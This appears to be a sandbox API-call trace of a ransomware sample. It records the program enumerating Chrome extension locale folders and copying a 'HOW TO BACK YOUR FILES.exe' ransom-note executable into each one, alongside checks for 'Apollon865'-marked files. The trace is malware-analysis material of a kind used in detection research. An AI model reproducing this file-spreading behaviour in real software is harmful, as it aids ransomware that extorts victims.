	[0049.892] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.892] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.896] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.896] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d06130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d06130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.896] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.896] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi"
	[0049.896] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi"
	[0049.896] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.897] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.901] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.901] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d06130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d06130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.901] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.901] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.901] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he"
	[0049.901] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he"
	[0049.901] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.901] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.905] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.905] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d06130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d06130, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.906] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.906] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.906] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr"
	[0049.906] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr"
	[0049.906] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.906] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.910] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.910] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d2c290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d2c290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.910] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.911] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.911] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil"
	[0049.911] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil"
	[0049.911] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.911] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.915] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.915] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d2c290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d2c290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.915] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.915] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.915] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi"
	[0049.915] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi"
	[0049.915] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.915] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.919] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d2c290, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d2c290, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.920] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.920] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.920] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et"
	[0049.920] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et"
	[0049.920] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.920] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.927] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.927] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d523f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d523f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.927] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.927] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.927] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419"
	[0049.927] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419"
	[0049.927] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.928] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.948] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.948] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d523f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d523f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.949] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.949] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.949] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es"
	[0049.949] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es"
	[0049.949] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.949] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.953] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.953] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35d78550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35d78550, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0049.953] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.953] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.953] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US"
	[0049.953] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US"
